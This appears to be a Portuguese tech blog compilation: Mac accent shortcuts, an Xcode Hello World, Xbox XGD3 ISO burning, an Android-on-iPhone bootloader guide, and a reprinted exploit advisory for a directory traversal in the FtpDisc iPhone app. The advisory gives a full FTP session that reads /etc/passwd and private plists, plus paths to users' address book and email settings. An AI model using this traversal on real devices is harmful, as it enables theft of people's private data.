Acentuação gráfica e caracteres especiais no Mac

Migrar para outra plataforma de qualquer coisa sempre dá um trabalhinho, até para coisas “bobas”…

Passei um tempo pesquisando como escrever ç, ã, é, ê, ª, º e outros sinais gráficos e símbolos no Mac, coisa que fazia no Windows/PC de olhos fechados, até o ª e o º, eu fazia até com código tipo alt+167…

Existem por aí alguns tutoriais de como adicionar um arquivo de layout de teclado para facilitar a digitação no Mac, mas prefiro manter o original e me fuder fazer do modo tradicional. 🙂

Segue aí colinha dos atalhos mais utilizados:

 

tela1

Depois de um tempo você acostuma e não precisa mais da cola, mas se estiver se adaptando ao teclado da Maçã vale a pena manter esta imagem na Mesa.

Tem outros atalhos que não estão na cola acima, que são:

a ordinal ( ª ): Option + 9 (nove do teclado principal, acima da letra o – não é o do teclado numérico)
o ordinal ( º ): Option + 0 (zero, mesma coisa do 9 acima)
r de marca registrada ( ® ): Option + r
c de copyright ( © ): Option + g
bolinha de grau/temperatura ( ˚ ): Option + k
caractere de “rabo de olho” ( ¬ ): Option + l (ñ sei o nome deste caractere… ¬¬)

Outras combinações vc pode ficar tentando aí no teclado segurando Option, Option + Shift + etc.

 

Hello World no iPhone, iPad ou iPod Touch

Uma prática muito comum quando se está aprendendo a programar é desenvolver um hello world. Pra quem não sabe um aplicativo hello world tem o único objetivo de escrever na tela a palavra “hello world”. Esta prática vem desde os primeiros momentos da microcomputação lá pelos idos de 1980, quando o primeiro programa à ser escrito pra ver algo funcionar numa nova linguagem que se estava aprendendo era este.

Passo-á-Passo de como criar um Hello World para a plataforma iOS.

Inicie o Xcode e conforme a tela abaixo, click na primeira opção, Create a new Xcode project.

Uma nova tela será exibida, nesta você deve escolher o template iOS Application e Single View Application, pois nossa aplicação terá apenas uma tela simples, e então click no botão Next.

Agora nesta tela em Product Name digite HelloWorld e em Device Family escolha iPhone, click no botão Next.

Agora escolha a pasta onde será gravado o seu projeto (sugiro criar uma pasta específica para os seus projetos)

No lado esquerdo de sua tela do Xcode, no Project Navigator, click no arquivo ViewController.xib que é o arquivo que contém o design da tela de seu aplicativo. No Object Library, no lado direito inferior da tela do Xcode, click no objeto Label e arraste-o até o centro da tela de design.

Click duplo no objeto Label no centro de sua tela de design.

E então digite Hello World !, aproveite para centralizar novamente o Label simplesmente arrastando-o para que fique no centro da tela de design.

Agora click no menu Product e escolha a opção Build, ou utilize o atalho de teclado [command] + B

Este processo irá construir o binário (compilar) do nosso aplicativo. Ao término deste processo click novamente no menu Product e escolha a opção Run, ou utilize o atalho de teclado [command] + R

O passo acima irá executar nosso aplicativo no iOS Simulator, onde poderemos conferir a execução do mesmo.

Gravar ISO XGD3 Mac OS X

Pre-requisites:
truncate
growisofs, XboxBurner or OSx360
Links:
download truncate/dvd+rw-mediainfo/growisofs pack here or here
download XboxBurner here (XboxBurner bundles/installs growisofs and dvd+rw-mediainfo to the following dir: /Applications/XBoxBurner.app/Contents/MacOS)
download OSx360 here

Alternatively: Manually installing truncate:
1) Install XCode 4 from the App store (Note: this downloads the Xcode installer)
2) Run the “Install Xcode” app created in your Applications folder
3) Install Macports (download here)
4) Install the necessary binarie(s) using the following commands:

sudo /opt/local/bin/port selfupdate
sudo /opt/local/bin/port install truncate

Step 1

Truncating an XGD3 ISO on OSX:

/opt/local/bin/truncate myXGD3backup.iso 8547991552

Step 2

Burning w/ XboxBurner GUI:
This is not possible yet as the LayerBreak field is fixed. Will update if/when XboxBurner is updated to support the required offset

Burning w/ growisofs using XboxBurner binaries:

/Applications/XBoxBurner.app/Contents/MacOS/dvd+rw-mediainfo /dev/rdisk5
(use this command to verify which drive is the DVD writer)
/Applications/XBoxBurner.app/Contents/MacOS/growisofs -use-the-force-luke=dao -use-the-force-luke=break:2086912 -dvd-compat -speed=4 -Z /dev/rdisk5=myXGD3backup.iso
(repace rdisk5 with the correct drive number)

Burning w/ growisofs (using attached binaries):
dump the 3 binaries into /usr/sbin

dvd+rw-mediainfo /dev/rdisk5
growisofs -use-the-force-luke=dao -use-the-force-luke=break:2086912 -dvd-compat -speed=4 -Z /dev/rdisk5=myXGD3backup.iso

(again substitute rdisk5 with your DVD’s drive number)

Burning w/ OSx360:
In OSx360 “Configuration” uncheck everything except for “Perform Action on File Open” and set to “Go to Burn View”
Check “Specify Custom Layer Break” type 2086912 *hit return/enter* then close the configuration window
Before burning set “Speed” to 4X (or 2.4X)” and “Method” to growisofs

Fonte:

FtpDisc v1.0 for iPhone / iPod touch, Directory Traversal

# Exploit Title: FtpDisc v1.0 for iPhone / iPod touch, Directory Traversal
# Date: 02/22/2011
# Author: R3d@l3rt, Sp@2K, Sunlight
# Software Link: http://itunes.apple.com/kr/app/ftpdisc-lite-pdf-reader/id329157971?mt=8
# Version: 1.0
# Tested on: iPhone, iPod 3GS with 4.2.1 firmware

# There is directory traversal vulnerability in the FtpDisc.
# Exploit Testing

C:\>ftp
ftp> open 192.168.0.70 2121
Connected to 192.168.0.70.
220 Mocha FTP Server
User (192.168.0.70:(none)): anonymous
331 Guest login ok, send your complete e-mail address as password.
Password:
230 Guest login ok
ftp> dir
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls
drwxrwxrwx 1 nobody nobody 68 Jan 3 17:14 documents
drwxrwxrwx 1 nobody nobody 68 Jan 3 17:14 other
drwxrwxrwx 1 nobody nobody 68 Jan 3 17:14 photos
drwxrwxrwx 1 nobody nobody 68 Jan 3 17:14 video
226 Transfer completed
ftp: 277 bytes received in 0.00Seconds 277000.00Kbytes/sec.
ftp> cd //..//..//..//..//..//..//
250 CWD command successful.
ftp> dir
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls
-r-xr-xr-x 1 nobody nobody 0 Aug 3 201012:41 .file
dr-xr-xr-x 1 nobody nobody 1428 Feb 8 12:50 Applications
dr-xr-xr-x 1 nobody nobody 68 Aug 19 2010 4:10 Developer
dr-xr-xr-x 1 nobody nobody 884 Jan 12 12:53 Library
dr-xr-xr-x 1 nobody nobody 102 Aug 19 2010 4:18 System
dr-xr-xr-x 1 nobody nobody 306 Feb 8 11:48 User
dr-xr-xr-x 1 nobody nobody 2074 Jan 13 9:52 bin
dr-xr-xr-x 1 nobody nobody 68 Oct 26 2010 1:19 boot
-r-xr-xr-x 1 nobody nobody 638 Jan 25 15:30 control
dr-xr-xr-x 1 nobody nobody 68 Aug 3 201012:41 cores
1 nobody nobody 68 1 dev
dr-xr-xr-x 1 nobody nobody 918 Jan 26 11:34 etc
dr-xr-xr-x 1 nobody nobody 68 Oct 26 2010 1:19 lib
dr-xr-xr-x 1 nobody nobody 68 Oct 26 2010 1:19 mnt
dr-xr-xr-x 1 nobody nobody 136 Oct 23 201015:12 private
dr-xr-xr-x 1 nobody nobody 1666 Jan 13 9:52 sbin
drwxrwxrwx 1 nobody nobody 272 Feb 22 16:02 tmp
dr-xr-xr-x 1 nobody nobody 374 Jan 13 9:52 usr
dr-xr-xr-x 1 nobody nobody 1088 Oct 26 2010 1:19 var
226 Transfer completed
ftp: 1461 bytes received in 0.02Seconds 91.31Kbytes/sec.
ftp> get ../../../../../../etc/passwd
200 PORT command successful.
550 cannot find the file
ftp> get /../../../../../../etc/passwd
200 PORT command successful.
150 Opening ASCII mode data connection for /../../../../../../etc/passwd
226 Transfer completed
ftp: 785 bytes received in 0.00Seconds 785000.00Kbytes/sec.
ftp> get //..//..//..//..//..//..//private/var/mobile/Library/Preferences/com.apple.Maps.plist
200 PORT command successful.
150 Opening ASCII mode data connection for //..//..//..//..//..//..//private/var/mobile/Library/Preferences/com.apple.Maps.plist
226 Transfer completed
ftp: 1239 bytes received in 0.00Seconds 1239000.00Kbytes/sec.
ftp> quit
221 Goodbye

C:\>type passwd
#
# 4.3BSD-compatable User Database
#
# Note that this file is not consulted for login.
# It only exisits for compatability with 4.3BSD utilities.
#
# This file is automatically re-written by various system utilities.
# Do not edit this file. Changes will be lost.
#
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
mobile:*:501:501:Mobile User:/var/mobile:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false
_wireless:*:25:25:Wireless Services:/var/wireless:/usr/bin/false
_securityd:*:64:64:securityd:/var/empty:/usr/bin/false
_mdnsresponder:*:65:65:mDNSResponder:/var/empty:/usr/bin/false
_sshd:*:75:75:sshd Privilege separation:/var/empty:/usr/bin/false
_unknown:*:99:99:Unknown User:/var/empty:/usr/bin/false

C:\>type com.apple.Maps.plist
bplist00?

C:\>type com.apple.conference.plist
bplist00?_restoredFromBackup\natTypeCache?
_DIPv4.Router=192.168.0.1;IPv4.RouterHardwareAddress=1c:bd:b9:XX:XX:XX_EIPv4.R
outer=192.168.11.1;IPv4.RouterHardwareAddress=00:24:a5:XX:XX:XX? XnatFlag
C:\>

# IPhone inside information

1. Phone Book
– /private/var/mobile/Library/AddressBook/AddressBook.sqlitedb

2. Safari Favorites List
– /private/var/mobile/Library/Safari

3. Users E-mail Information
– /private/var/mobile/Library/Preferences/com.apple.accountsettings.plist

4. IPv4 Router Information
– /private/var/mobile/Library/Preferences/com.apple.conference.plist

Como instalar o Android no iPhone – Passo á Passo

Adquiri um iPhone 3G semana passada, e não fiquei parado, pesquisando na net encontrei uma forma de instalar o Android (iDroid) Port do Android para o iPhone, logo em seguida segue todos os passos…

Talvez você queira liberar seu iPhone dos domínios da Apple. Ou talvez apenas queira brincar com algo novo. Seja qual for o seu motivo, é possível rodar o Android (sistema operacional do Google) no celular da empresa de Steve Jobs. O processo já foi anunciado por hackers e agora estão disponíveis as etapas para isso.

Neste artigo detalhamos esses passos. Mas saiba que não é um processo fácil, que exige bom conhecimento técnico, coisa para quem está acostumado a lidar com linha de comando.. Confira, a seguir, o que é necessário, com os passos fornecidos pelo hacker responsável pelo processo.

Ainda um trabalho em progresso
Apesar dessa migração garantir  tudo o que você espera de seu smartphone, ela ainda tem limitações – não programei nenhuma função de administração de energia, por isso um iPhone totalmente carregado só vai durar cerca de uma hora quando rodar o Android.

Além disso, permanecem alguns bugs e problemas de desempenho. Embora o telefone fique “usável”, não será rápido. Se você fizer algo inesperado, como forçar o aparelho a desligar, pressionando o botão início por alguns segundos, é possível que você acabe restaurando o sistema. No entanto, é impossível que qualquer bug impeça o funcionamento do seu iPhone permanentemente.

Por fim, a sincronização de arquivos de mídia não está funcionando, então esse processo é um pouco doloroso. Mas estou trabalhando o máximo que posso, e espero resolver logo essas questões.

Leitura necessária
Comece recapitulando as lições básicas de manutenção do aparelho, como, por exemplo, como colocar seu iPhone no Recovery Mode (Modo de Recuperação), como colocá-lo no DFU Mode (modo de atualização de firmware), e como realizar uma restauração de firmware a partir desses modos.

O iPhone é um aparelho bem construído e é virtualmente impossível danificá-lo se você souber essas técnicas. Se todas elas falharem, lembre que você sempre pode restaurá-lo usando o DFU Mode (Device Firmware Update).

Você também vai precisar se sentir razoavelmente confortável em uma interface de linha comando, e a não ser que você seja confiante em compilar seus próprios códigos binários, vai precisar de um PC rodando Linux (ou uma máquina virtual Linux).

O que você precisa
1. Um iPhone de primeira-geração ou um 3G com versões de firmware entre 2.0 e 3.1.2, que tenham recebido jailbreak (desbloqueio para o uso de softwares não autorizados pela Apple) com RedsnOw , BlacksnOw ou PwnageTool. Se você já atualizou seu aparelho para 3.1.3 ou para um 4.0 beta, deve usar a PwnageTool para criar um arquivo 3.1.2.ipsw com jailbreak para restaurar nele.

Note que estou excluindo de maneira explícita o iPhone 3GS, todos os iPod Touch e o iPad. Esse hack não vai funcionar com esses aparelhos (ainda). Também estou eliminando o iPhone OS 3.1.3 e todos os betas do 4.0. E também não vai funcionar com o jailbreak Spirit .

Processo para rodar Android no iPhone não funciona com o jailbreak Spirit.

Se você ainda não realizou jailbreak no seu iPhone, não se preocupe é um processo simples que consiste principalmente em apertar botões no aparelho quando indicado e apertar o próximo em um wizard. Eu humildemente recomendo o RedsnOw, uma vez que escrevi muito do código para esse programa.

2. Um sistema Linux de 32-bit ou uma máquina virtual (eu recomendo o Ubuntu ).

Apesar de a maior parte do processo poder ser conduzido em qualquer máquina, uma das ferramentas envolvidas (chamada oibc) ainda não foi habilitada para o Windows. Além disso, os binários que eu forneço estão compilados em uma máquina com Ubuntu de 32 bits.

No entanto, todos os utilitários podem ser compilados para Linux e Mac, por isso se você está interessado em aventura, compile as fontes em github.com/planetbeing/iphonelinux e github.com/planetbeing/xpwn em vez de usar os binários.

3. As imagens e os binários pré-construídos; os arquivos exatos que são usados dependem de qual tipo de iPhone você utiliza: primeira geração ou 3G.

4. O arquivo iPhone OS 3.1.2 .ipsw file para o seu aparelho, que pode estar em iPhone1,1_3.1.2_7D11_Restore.ipsw ou iPhone1,2_3.1.2_7D11_Restore.ipsw. Há chances de você já possuir esse arquivo no seu computador, mas se não tiver, é possível fazer o seu download .

5. O firmware para o chip Marvell WLAN, que fica dentro do iPhone. Vá até o endereço, e no lado direito da página você verá um menu drop-down com o nome Choose your platform (Selecione sua plataforma). Selecione Linux 2.6 Fedora no menu e clique no botão Search localizado abaixo. Baixe o arquivo com a indicação SD-8686-LINUX26-SYSKT-9.70.3.p24-26409.P45-GPL. Você vai pegar um arquivo chamado SD-8686-LINUX26-SYSKT-9.70.3.p24-26409.P45-GPL.zip.

Android no iPhone, passo a passo
Os primeiros passos englobam o multitouch (multitoque) e firmware para o iPhone. Não podemos legalmente redistribuir esses pequenos binários, por isso é necessário que você os extraia do arquivo .ipsw e do site da Marvell.

1. Na máquina com Linux, crie uma pasta chamada firmware em seu diretório home.

2. Extraia SD-8686-FEDORA26FC6-SYSKT-GPL-9.70.3.p24-26409.P45.tar de SD-8686-LINUX26-SYSKT-9.70.3.p24-26409.P45-GPL.zip para uma pasta temporária.

3. Extraia FwImage/helper_sd.bin and FwImage/sd8686.bin de SD-8686-FEDORA26FC6-SYSKT-GPL-9.70.3.p24-26409.P45.tar e os coloque dentro de sua pasta ‘firmware’.

4. Renomeie helper_sd.bin para sd8686_helper.bin.

Neste momento, você tem seu firmware WLAN. Agora para o firmware multitoque.

5. Na máquina com Linux, crie uma pasta chamada idroid em seu diretório home e extraia utils/dripwn do tarball (arquivo .tar) pré-construído que você baixou dentro dele.

6. Copie ou mova o arquivo 3.1.2 .ipsw que você obteve do site da Apple para a mesma pasta idroid que o dripwn.

7. Inicie uma linha de comando (Terminal embaixo de Ubuntu) e navegue para a pasta idroid que você criou. Para isso, você pode digitar cd ~/idroid.

8. Vá para esta página se você tem um iPhone 3G ou para esta se possui uma versão mais antiga do aparelho. Copie a chave VFDecrypt.

9. Se você possui um iPhone primeira-geração, digite os caracteres a seguir na linha de comando que você iniciou anteriormente:
./dripwn iPhone1,1_3.1.2_7D11_Restore.ipsw [a chave VFDecrypt que você copiou]

Se você possui um iPhone 3G, digite os caracteres a seguir:
./dripwn iPhone1,2_3.1.2_7D11_Restore.ipsw [a chave VFDecrypt que você copiou]

10. Após um tempo, o comando será finalizado e você terá os arquivos zephyr_main.bin, zephyr_aspeed.bin, e zephyr2.bin em sua pasta idroid. Mova-os para a pastas firmware.

Após mover os arquivos “zephyr” para sua pasta ‘firmware’, você deverá ter todos os arquivos necessários para a instalação do Android.

Você agora tem todos os arquivos necessários para o Android, e pode começar a instalá-lo.

11. Se ainda não tem os arquivos, instale a ferramenta OpenSSH em seu iPhone por meio do Cydia.

12. Se você já instalou a OpenSSH, conecte-se ao seu iPhone por meio da ferramenta, faça o login como root com a senha “alpine”, e digite “passwd root” para mudar a senha para root. Então, digite “passwd mobile” para alterar a senha para o usuário móvel.

Não pule este passo. Pois todos os worms (programas maliciosos) de iPhone só irão afetá-lo se você não tiver alterado a senha padrão da SSH.

13. Extraia prebuilt/android.img.gz, prebuilt/cache.img, prebuilt/ramdisk.img, prebuilt/system.img, prebuilt/userdata.img, e zImage do tarball pré-construído.

14. Use o comando scp ou um cliente SFTP para realizar o upload de todos esses arquivos para a pasta /private/var no iPhone.

Você pode usar esses comandos no Linux, se deseja usar o scp em vez de um cliente SFTP de interface gráfica. Presumindo que você esteja na mesma pasta que os arquivos, digite:

scp android.img.gz root@[endereço de ip do iPhone]:/private/var/
scp cache.img root@[endereço de ip do iPhone]:/private/var/
scp ramdisk.img root@[endereço de ip do iPhone]:/private/var/
scp system.img root@[endereço de ip do iPhone]:/private/var/
scp userdata.img root@[endereço de ip do iPhone]:/private/var/
scp zImage root@[endereço de ip do iPhone]:/private/var/

15. Usando o cliente SFTP ou scp, crie uma pasta chamada firmware na partição /private/var no iPhone; em seguida, faça o upload de todos os arquivos da pasta firmware que criou anteriormente para a nova.

Se a pasta firmware criada anteriormente estiver dentro do seu diretório home, você pode usar o comando a seguir:
scp -r ~/firmware/ root@[endereço de ip do iPhone]:/private/var/firmware

16. Faça o reboot (reinicie) seu iPhone. Como uma medida de segurança, verifique para ter certeza de que os arquivos ainda estão presentes após o reboot e que todos tenham os tamanhos corretos. Um arquivo com tamanho incorreto não será compatível com o tamanho do arquivo fonte (por exemplo, system.img não tem 71327744 bytes, android.img.gz não possui 2161556 bytes, e o zImage não possui 2364280 bytes no 3G 3G e nem 2356044 bytes no iPhone mais antigo).
Muitas pessoas têm problemas com esse processo porque nem todos os arquivos chegam inteiros ao iPhone.

17. Extraia utils/oibc, utils/loadibec, e prebuilt/openiboot.img3 do tarball pré-contruido para dentro da pasta idroid.

18. Desligue o iPhone e coloque-o em Recovery Mode: com o iPhone desligado e plugado ao computador via USB, pressione Hold e Home simultaneamente, e solte Hold após a backlight acender. Continue segurando Home até a imagem Connect to iTunes aparecer na tela.

19. Execute os commandos a seguir no Terminal (se você ainda não tem, vai precisar instalar libusb-0.1-4 com Synaptics ou ‘apt-get’):

cd ~/idroid

sudo ./loadibec openiboot.img3

Se tudo correr bem, o menu de boot ‘openiboot’ deve aparecer agora!

20. Use os botões de controle de volume ou o botão Hold para selecionar a segunda opção de menu, Console. Toque no botão Home para lançá-la.
Um console de modo de texto deveria começar a rodar em sua tela, terminando com uma mensagem ‘Welcome to openiboot’.

21. Digite sudo ./oibc em Terminal.

As mesmas mensagens que apareceram na tela do iPhone deveriam aparecer agora no Terminal. Em seguida, você deveria fazer um backup do NOR (o aparelho em que o carregado de boot do iPhone está armazenado) em caso de algo dar errado, para que não aconteça nenhum dano com seu aparelho.

22. Digite nor_read 0x09000000 0x0 1048576 em Terminal/oibc. Isso vai ler o NOR inteiro para dentro da memória principal.

23. Digite ~norbackup.bin@0x09000000:1048576 em Terminal/oibc. Um arquivo vai aparecer na pasta idroid chama norbackup.bin. Mantenha isso seguro em algum lugar.

O comando realiza o upload do NOR para o computador. Após realizar esse backup, você agora está livre para modificar o NOR. O próximo passo instala o OpeniBoot no NOR, substituindo o carregador de boot existente iBoot, da Apple.

24. Digite install em Terminal/oibc.
Esse processo pode levar alguns minutos. Espere até aparecer uma mensagem informando que a instalação foi completada.

25. Digite reboot em Terminal/oibc e então saia dele ao apertar Ctrl-C.

O menu OpeniBoot deve agora abrir sempre que você ligar seu iPhone. Lembre que você pode desinstalar o OpeniBoot do oibc com o comando uninstall (desinstalar). Digite help para uma lista com todos os comando do OpeniBoot.

Após terminar o processo, use o menu OpeniBoot para iniciar o Android no iPhone.

Você ainda pode acessar o recovery mode (modo de recuperação) do iPhone OS ao pressionar o botão Home na opção iPhone OS no menu do sistema até que apareça a imagem Connect to iTunes (em vez de apenas apertar Home).

Você deve ter terminado! Use o menu OpeniBoot para iniciar o Android ao selecionar esse sistema operacional no menu sempre que quiser. Infelizmente, ainda não existe um bom método para fechar o Android, por isso, a única maneira de desligá-lo é apertar os botões Hold e Home até que o telefone desligue.

Confira o site iDroidWiki (em inglês) para mais tutoriais e dicas sobre o que você pode fazer com o seu novo iPhone com Android.

*David Wang, mais conhecido como planetbeing, é um hacker por hobbie. Para saber mais, visite seu blog Linux on the iPhone .